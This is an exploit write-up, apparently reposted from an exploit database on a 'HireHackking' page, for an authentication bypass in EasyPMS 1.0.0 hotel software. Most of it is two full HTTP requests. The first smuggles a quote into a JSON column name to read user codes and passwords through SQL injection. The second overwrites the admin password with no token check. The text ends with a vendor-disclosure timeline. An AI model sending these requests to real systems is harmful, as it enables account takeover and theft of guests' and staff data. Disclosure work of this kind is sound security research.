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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: EasyPMS 1.0.0 - Authentication Bypass
# Discovery by: Jok3r
# Vendor Homepage: https://www.elektraweb.com/en/
# Software Link: https://github.com/Travelaps/EasyPMS/releases/
# Tested Version: 1.0.0
# Vulnerability Type: Authentication Bypass
# Tested on OS: Windows Server 2012

#Description:

EasyPMS has authentication bypass vulnerability that low privilege user can escalate privilege to HotelOwner admin privilege.

Steps to Reproduce:

1)
Unprivileged user can manipulate sql query within json request format. Admin user code can be obtained using single quote after ID column so 
that where clause is invalid.

First Request:

POST /Select/STDUSER HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://target/app/record/user-profile;index=$ANG.STDUSERID
Content-Type: text/plain
Content-Length: 689
Origin: https://target
Connection: close



{"Action":"Select","Object":"STDUSER","Select":["ID","USERCODE","PASSWORD","EMAIL","LASTNAME","GSM","PHONE","HOTELID","FIRSTNAME","PINCODE"],"Where":[{"Column":"ID'","Operator":"=","Value":"80403"},{"Column":"HOTELID","Operator":"=","Value":22330}],"Paging":{"Current":1,"ItemsPerPage":3},"LoginToken":"token_value"}



2)
While user is sending password resetting request, can change password of Admin user that is inside HotelOwner privilege class.
Because there is not validation of token and user has write permission on STDUSER table so admin user password can be changed by unprivileged user that obtains ID of admin user
sending first request.



Second Request:

POST / HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://target/login
Content-Type: text/plain
Content-Length: 128
Origin: https://target
Connection: close


{"Row":{"PASSWORD":"Qw12344.","ID":"80401","HOTELID":22330},"SelectAfterUpdate":["ID"],"Action":"Update","Object":"STDUSER"}






# Timeline:
# 01.10.2020 - issue was discovered 
# 02.10.2020 - notify to vendor
# 02.10.2020 - vendor fixed